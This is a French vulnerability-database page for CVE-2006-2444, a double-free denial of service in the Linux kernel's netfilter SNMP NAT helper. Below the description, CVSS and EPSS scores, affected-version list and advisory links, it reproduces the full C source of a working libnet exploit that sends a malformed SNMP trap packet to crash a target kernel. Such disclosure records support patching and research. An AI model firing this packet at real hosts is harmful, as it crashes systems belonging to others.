CVE-2006-2444 : Détail

CVE-2006-2444

69.37%V4
Network
2006-05-25
08h00 +00:00
2017-10-09
22h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The snmp_trap_decode function in the SNMP NAT helper for Linux kernel before 2.6.16.18 allows remote attackers to cause a denial of service (crash) via unspecified remote attack vectors that cause failures in snmp_trap_decode that trigger (1) frees of random memory or (2) frees of previously-freed memory (double-free) by snmp_trap_decode as well as its calling function, as demonstrated via certain test cases of the PROTOS SNMP test suite.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.8 AV:N/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 1880

Date de publication : 2006-06-04 22h00 +00:00
Auteur : ECL Labs
EDB Vérifié : Yes

/* * ecl-nf-snmpwn.c - 30/05/06 * * Alex Behar <alex@ecl-labs.org> * Yuri Gushin <yuri@ecl-labs.org> * * A patch review we did on the 2.6.16.17->18 Linux kernel source tree revealed * a restructuring of code in the snmp_parse_mangle() and the snmp_trap_decode() * functions. After further research it turned out to be a vulnerability * previously reported[1] and assigned with CVE-2006-2444. For more details, * the version change log. * * * * 1) http://kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.16.18 * * -- * Greets fly out to the ECL crew - Valentin Slavov, Dimityr Manevski. * To stranger, shrink, the Console Pimps crew (blexim, ex0, hugin, w00f, matt, * kyu, kbd and the rest), our favorite soldier boy Sagi Horev, the SigMIL crew, * izik, tanin00, and everyone else we left out. * * P.S. - blexim, how are your FACECRABS ???? :)))) * */ #ifndef _BSD_SOURCE #define _BSD_SOURCE #endif #include <stdio.h> #include <string.h> #include <time.h> #include <libnet.h> void banner(); void usage(char *); char pwnage[] = "\x30\x0a\x02\x01\x00\x04\x03\x45\x43\x4c\xa4\x00"; int main(int argc, char **argv) { char errbuf[LIBNET_ERRBUF_SIZE]; libnet_t *l; int c; u_char *buf; int packet_len = 0; struct ip *IP; struct udphdr *UDP; u_int32_t src = 0, dst = 0; banner(); if (argc < 3) usage(argv[0]); if ((l = libnet_init(LIBNET_RAW4, NULL, errbuf)) == NULL) { fprintf(stderr, "[!] libnet_init() failed: %s", errbuf); exit(-1); } if ((src = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE)) == -1) { fprintf(stderr, "[!] Unresolved source address.\n"); exit(-1); } if ((dst = libnet_name2addr4(l, argv[2], LIBNET_RESOLVE)) == -1) { fprintf(stderr, "[!] Unresolved destination address.\n"); exit(-1); } if ((buf = malloc(IP_MAXPACKET)) == NULL) { perror("malloc"); exit(-1); } UDP = (struct udphdr *)(buf + LIBNET_IPV4_H); packet_len = LIBNET_IPV4_H + LIBNET_UDP_H + sizeof(pwnage) - 1; srand(time(NULL)); IP = (struct ip *) buf; IP->ip_v = 4; /* version 4 */ IP->ip_hl = 5; /* header length */ IP->ip_tos = 0; /* IP tos */ IP->ip_len = htons(packet_len); /* total length */ IP->ip_id = rand(); /* IP ID */ IP->ip_off = htons(0); /* fragmentation flags */ IP->ip_ttl = 64; /* time to live */ IP->ip_p = IPPROTO_UDP; /* transport protocol */ IP->ip_sum = 0; IP->ip_src.s_addr = src; IP->ip_dst.s_addr = dst; UDP->uh_sport = rand(); UDP->uh_dport = (argc > 3) ? htons((u_short)atoi(argv[3])) : htons(161); UDP->uh_ulen = htons(LIBNET_UDP_H + sizeof(pwnage) - 1); UDP->uh_sum = 0; memcpy(buf + LIBNET_IPV4_H + LIBNET_UDP_H, pwnage, sizeof(pwnage) - 1); libnet_do_checksum(l, (u_int8_t *)buf, IPPROTO_UDP, packet_len - LIBNET_IPV4_H); if ((c = libnet_write_raw_ipv4(l, buf, packet_len)) == -1) { fprintf(stderr, "[!] Write error: %s\n", libnet_geterror(l)); exit(-1); } printf("[+] Packet sent.\n"); libnet_destroy(l); free(buf); return (0); } void usage(char *cmd) { printf("[!] Usage: %s <source> <destination> [port]\n", cmd); exit(-1); } void banner() { printf("\t\tNetfilter NAT SNMP module DoS exploit\n" "\t\t Yuri Gushin <yuri@ecl-labs.org>\n" "\t\t Alex Behar <alex@ecl-labs.org>\n" "\t\t\t ECL Team\n\n\n"); } // milw0rm.com [2006-06-05]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version 2.6.0

Linux>>Linux_kernel >> Version 2.6.0

    Linux>>Linux_kernel >> Version 2.6.0

      Linux>>Linux_kernel >> Version 2.6.0

      Linux>>Linux_kernel >> Version 2.6.0

      Linux>>Linux_kernel >> Version 2.6.0

      Linux>>Linux_kernel >> Version 2.6.0

      Linux>>Linux_kernel >> Version 2.6.0

      Linux>>Linux_kernel >> Version 2.6.0

      Linux>>Linux_kernel >> Version 2.6.0

      Linux>>Linux_kernel >> Version 2.6.0

      Linux>>Linux_kernel >> Version 2.6.0

      Linux>>Linux_kernel >> Version 2.6.0

      Linux>>Linux_kernel >> Version 2.6.0

      Linux>>Linux_kernel >> Version 2.6.1

      Linux>>Linux_kernel >> Version 2.6.1

      Linux>>Linux_kernel >> Version 2.6.1

      Linux>>Linux_kernel >> Version 2.6.1

      Linux>>Linux_kernel >> Version 2.6.2

      Linux>>Linux_kernel >> Version 2.6.2

      Linux>>Linux_kernel >> Version 2.6.2

      Linux>>Linux_kernel >> Version 2.6.2

      Linux>>Linux_kernel >> Version 2.6.3

      Linux>>Linux_kernel >> Version 2.6.3

      Linux>>Linux_kernel >> Version 2.6.3

      Linux>>Linux_kernel >> Version 2.6.3

      Linux>>Linux_kernel >> Version 2.6.3

      Linux>>Linux_kernel >> Version 2.6.4

      Linux>>Linux_kernel >> Version 2.6.4

      Linux>>Linux_kernel >> Version 2.6.4

      Linux>>Linux_kernel >> Version 2.6.4

      Linux>>Linux_kernel >> Version 2.6.5

      Linux>>Linux_kernel >> Version 2.6.5

      Linux>>Linux_kernel >> Version 2.6.5

      Linux>>Linux_kernel >> Version 2.6.5

      Linux>>Linux_kernel >> Version 2.6.6

      Linux>>Linux_kernel >> Version 2.6.6

      Linux>>Linux_kernel >> Version 2.6.6

      Linux>>Linux_kernel >> Version 2.6.6

      Linux>>Linux_kernel >> Version 2.6.7

      Linux>>Linux_kernel >> Version 2.6.7

      Linux>>Linux_kernel >> Version 2.6.7

      Linux>>Linux_kernel >> Version 2.6.7

      Linux>>Linux_kernel >> Version 2.6.8

      Linux>>Linux_kernel >> Version 2.6.8

      Linux>>Linux_kernel >> Version 2.6.8

      Linux>>Linux_kernel >> Version 2.6.8

      Linux>>Linux_kernel >> Version 2.6.8

      Linux>>Linux_kernel >> Version 2.6.8.1

      Linux>>Linux_kernel >> Version 2.6.8.1.5

      Linux>>Linux_kernel >> Version 2.6.8.1.5

        Linux>>Linux_kernel >> Version 2.6.8.1.5

          Linux>>Linux_kernel >> Version 2.6.8.1.5

            Linux>>Linux_kernel >> Version 2.6.8.1.5

              Linux>>Linux_kernel >> Version 2.6.8.1.5

                Linux>>Linux_kernel >> Version 2.6.8.1.5

                  Linux>>Linux_kernel >> Version 2.6.8.1.5

                    Linux>>Linux_kernel >> Version 2.6.8.1.5

                      Linux>>Linux_kernel >> Version 2.6.8.1.5

                        Linux>>Linux_kernel >> Version 2.6.8.1.5

                          Linux>>Linux_kernel >> Version 2.6.8.1.5

                            Linux>>Linux_kernel >> Version 2.6.8.1.5

                              Linux>>Linux_kernel >> Version 2.6.8.1.5

                                Linux>>Linux_kernel >> Version 2.6.8.1.5

                                  Linux>>Linux_kernel >> Version 2.6.8.1.5

                                    Linux>>Linux_kernel >> Version 2.6.9

                                    Linux>>Linux_kernel >> Version 2.6.9

                                      Linux>>Linux_kernel >> Version 2.6.9

                                      Linux>>Linux_kernel >> Version 2.6.9

                                      Linux>>Linux_kernel >> Version 2.6.9

                                      Linux>>Linux_kernel >> Version 2.6.9

                                      Linux>>Linux_kernel >> Version 2.6.10

                                      Linux>>Linux_kernel >> Version 2.6.10

                                      Linux>>Linux_kernel >> Version 2.6.10

                                      Linux>>Linux_kernel >> Version 2.6.10

                                      Linux>>Linux_kernel >> Version 2.6.11

                                      Linux>>Linux_kernel >> Version 2.6.11

                                        Linux>>Linux_kernel >> Version 2.6.11

                                        Linux>>Linux_kernel >> Version 2.6.11

                                        Linux>>Linux_kernel >> Version 2.6.11

                                        Linux>>Linux_kernel >> Version 2.6.11

                                        Linux>>Linux_kernel >> Version 2.6.11

                                        Linux>>Linux_kernel >> Version 2.6.11.1

                                        Linux>>Linux_kernel >> Version 2.6.11.2

                                        Linux>>Linux_kernel >> Version 2.6.11.3

                                        Linux>>Linux_kernel >> Version 2.6.11.4

                                        Linux>>Linux_kernel >> Version 2.6.11.5

                                        Linux>>Linux_kernel >> Version 2.6.11.6

                                        Linux>>Linux_kernel >> Version 2.6.11.7

                                        Linux>>Linux_kernel >> Version 2.6.11.8

                                        Linux>>Linux_kernel >> Version 2.6.11.9

                                        Linux>>Linux_kernel >> Version 2.6.11.10

                                        Linux>>Linux_kernel >> Version 2.6.11.11

                                        Linux>>Linux_kernel >> Version 2.6.11.12

                                        Linux>>Linux_kernel >> Version 2.6.11_rc1_bk6

                                          Linux>>Linux_kernel >> Version 2.6.12

                                          Linux>>Linux_kernel >> Version 2.6.12

                                          Linux>>Linux_kernel >> Version 2.6.12

                                          Linux>>Linux_kernel >> Version 2.6.12

                                          Linux>>Linux_kernel >> Version 2.6.12

                                          Linux>>Linux_kernel >> Version 2.6.12

                                          Linux>>Linux_kernel >> Version 2.6.12

                                          Linux>>Linux_kernel >> Version 2.6.12.1

                                          Linux>>Linux_kernel >> Version 2.6.12.2

                                          Linux>>Linux_kernel >> Version 2.6.12.3

                                          Linux>>Linux_kernel >> Version 2.6.12.4

                                          Linux>>Linux_kernel >> Version 2.6.12.5

                                          Linux>>Linux_kernel >> Version 2.6.12.6

                                          Linux>>Linux_kernel >> Version 2.6.13

                                          Linux>>Linux_kernel >> Version 2.6.13

                                          Linux>>Linux_kernel >> Version 2.6.13

                                          Linux>>Linux_kernel >> Version 2.6.13

                                          Linux>>Linux_kernel >> Version 2.6.13

                                          Linux>>Linux_kernel >> Version 2.6.13

                                          Linux>>Linux_kernel >> Version 2.6.13

                                          Linux>>Linux_kernel >> Version 2.6.13

                                          Linux>>Linux_kernel >> Version 2.6.13.1

                                          Linux>>Linux_kernel >> Version 2.6.13.2

                                          Linux>>Linux_kernel >> Version 2.6.13.3

                                          Linux>>Linux_kernel >> Version 2.6.13.4

                                          Linux>>Linux_kernel >> Version 2.6.14

                                          Linux>>Linux_kernel >> Version 2.6.14

                                          Linux>>Linux_kernel >> Version 2.6.14

                                          Linux>>Linux_kernel >> Version 2.6.14

                                          Linux>>Linux_kernel >> Version 2.6.14

                                          Linux>>Linux_kernel >> Version 2.6.14

                                          Linux>>Linux_kernel >> Version 2.6.14.1

                                          Linux>>Linux_kernel >> Version 2.6.14.2

                                          Linux>>Linux_kernel >> Version 2.6.14.3

                                          Linux>>Linux_kernel >> Version 2.6.14.4

                                          Linux>>Linux_kernel >> Version 2.6.14.5

                                          Linux>>Linux_kernel >> Version 2.6.14.6

                                          Linux>>Linux_kernel >> Version 2.6.14.7

                                          Linux>>Linux_kernel >> Version 2.6.15

                                          Linux>>Linux_kernel >> Version 2.6.15

                                          Linux>>Linux_kernel >> Version 2.6.15

                                          Linux>>Linux_kernel >> Version 2.6.15

                                          Linux>>Linux_kernel >> Version 2.6.15

                                          Linux>>Linux_kernel >> Version 2.6.15

                                          Linux>>Linux_kernel >> Version 2.6.15

                                          Linux>>Linux_kernel >> Version 2.6.15.1

                                          Linux>>Linux_kernel >> Version 2.6.15.2

                                          Linux>>Linux_kernel >> Version 2.6.15.3

                                          Linux>>Linux_kernel >> Version 2.6.15.4

                                          Linux>>Linux_kernel >> Version 2.6.15.5

                                          Linux>>Linux_kernel >> Version 2.6.15.6

                                          Linux>>Linux_kernel >> Version 2.6.15.7

                                          Linux>>Linux_kernel >> Version 2.6.16

                                          Linux>>Linux_kernel >> Version 2.6.16

                                          Linux>>Linux_kernel >> Version 2.6.16

                                          Linux>>Linux_kernel >> Version 2.6.16

                                          Linux>>Linux_kernel >> Version 2.6.16

                                          Linux>>Linux_kernel >> Version 2.6.16

                                          Linux>>Linux_kernel >> Version 2.6.16

                                          Linux>>Linux_kernel >> Version 2.6.16.1

                                          Linux>>Linux_kernel >> Version 2.6.16.2

                                          Linux>>Linux_kernel >> Version 2.6.16.3

                                          Linux>>Linux_kernel >> Version 2.6.16.4

                                          Linux>>Linux_kernel >> Version 2.6.16.5

                                          Linux>>Linux_kernel >> Version 2.6.16.6

                                          Linux>>Linux_kernel >> Version 2.6.16.7

                                          Linux>>Linux_kernel >> Version 2.6.16.8

                                          Linux>>Linux_kernel >> Version 2.6.16.9

                                          Linux>>Linux_kernel >> Version 2.6.16.10

                                          Linux>>Linux_kernel >> Version 2.6.16.11

                                          Linux>>Linux_kernel >> Version 2.6.16.12

                                          Linux>>Linux_kernel >> Version 2.6.16.13

                                          Linux>>Linux_kernel >> Version 2.6.16.14

                                          Linux>>Linux_kernel >> Version 2.6.16.15

                                          Linux>>Linux_kernel >> Version 2.6.16.16

                                          Linux>>Linux_kernel >> Version 2.6.16_rc7

                                            Linux>>Linux_kernel >> Version 2.6_test9_cvs

                                              Références

                                              http://www.redhat.com/support/errata/RHSA-2006-0437.html
                                              Tags : vendor-advisory, x_refsource_REDHAT
                                              http://securitytracker.com/id?1016153
                                              Tags : vdb-entry, x_refsource_SECTRACK
                                              http://www.redhat.com/support/errata/RHSA-2006-0617.html
                                              Tags : vendor-advisory, x_refsource_REDHAT
                                              http://secunia.com/advisories/20716
                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                              http://secunia.com/advisories/21605
                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                              http://www.osvdb.org/25750
                                              Tags : vdb-entry, x_refsource_OSVDB
                                              http://secunia.com/advisories/21136
                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                              http://www.debian.org/security/2006/dsa-1183
                                              Tags : vendor-advisory, x_refsource_DEBIAN
                                              http://secunia.com/advisories/20182
                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                              http://www.ubuntu.com/usn/usn-302-1
                                              Tags : vendor-advisory, x_refsource_UBUNTU
                                              http://www.vupen.com/english/advisories/2006/1916
                                              Tags : vdb-entry, x_refsource_VUPEN
                                              http://secunia.com/advisories/22082
                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                              http://secunia.com/advisories/21983
                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                              http://secunia.com/advisories/21035
                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                              http://secunia.com/advisories/22174
                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                              http://www.redhat.com/support/errata/RHSA-2006-0580.html
                                              Tags : vendor-advisory, x_refsource_REDHAT
                                              http://secunia.com/advisories/22822
                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                              http://secunia.com/advisories/20225
                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                              http://www.securityfocus.com/bid/18081
                                              Tags : vdb-entry, x_refsource_BID
                                              http://secunia.com/advisories/21498
                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                              http://www.kb.cert.org/vuls/id/681569
                                              Tags : third-party-advisory, x_refsource_CERT-VN
                                              http://secunia.com/advisories/22093
                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                              http://www.mandriva.com/security/advisories?name=MDKSA-2006:087
                                              Tags : vendor-advisory, x_refsource_MANDRIVA
                                              http://www.debian.org/security/2006/dsa-1184
                                              Tags : vendor-advisory, x_refsource_DEBIAN
                                              http://secunia.com/advisories/21179
                                              Tags : third-party-advisory, x_refsource_SECUNIA